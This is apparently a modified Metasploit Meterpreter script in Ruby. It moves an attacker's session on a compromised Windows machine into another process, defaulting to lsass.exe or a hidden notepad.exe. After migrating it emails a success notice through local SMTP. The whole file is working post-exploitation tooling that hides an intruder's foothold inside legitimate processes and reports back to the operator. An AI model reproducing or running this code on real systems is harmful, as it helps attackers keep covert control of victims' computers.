# $Id: migrate.rb 10277 2010-09-09 16:09:27Z darkoperator $
#
# Simple example script that migrates to a specific process by name.
# This is meant as an illustration.
# Modified to send email on success, www.twitter.com/dinosn

require 'net/smtp'

spawn = false
target = nil
mail = 'myself@example.com'

opts = Rex::Parser::Arguments.new(
	"-h" => [ false,"Help menu." ],
	"-f" => [ false, "Launch a process and migrate into the new process"]
)
opts.parse(args) { |opt, idx, val|
	case opt
	when "-f"
		spawn = true
	when "-h"
		print_line("")
		print_line("USAGE:   run migrate [process name]")
		print_line("EXAMPLE: run migrate explorer.exe")
		print_line(opts.usage)
		raise Rex::Script::Completed
	else
		target = val
	end
}



if client.platform =~ /win32|win64/
	server = client.sys.process.open

	print_status("Current server process: #{server.name} (#{server.pid})")

	target_pid = nil

	if ! spawn
		# Get the target process name
		target ||= "lsass.exe"
		print_status("Migrating to #{target}...")

		# Get the target process pid
		target_pid = client.sys.process[target]

		if not target_pid
			print_error("Could not access the target process")
			print_status("Spawning a notepad.exe host process...")
			note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
			target_pid = note.pid
		end
	else
		target ||= "notepad.exe"
		print_status("Spawning a #{target} host process...")
		newproc = client.sys.process.execute(target, nil, {'Hidden' => true })
		target_pid = newproc.pid
		if not target_pid
			print_error("Could not create a process around #{target}")
			raise Rex::Script::Completed
		end
	end

	# Do the migration
	print_status("Migrating into process ID #{target_pid}")
	client.core.migrate(target_pid)
	server = client.sys.process.open
	print_status("New server process: #{server.name} (#{server.pid})")
	# Send e-mail
	
	Net::SMTP.start('localhost') do |smtp|
		smtp.send_message 'Success', 'nobody@example.com', mail
	print_status("Emailing #{mail}")
	end

else
	print_error("This version of Meterpreter is not supported with this Script!")
	raise Rex::Script::Completed
end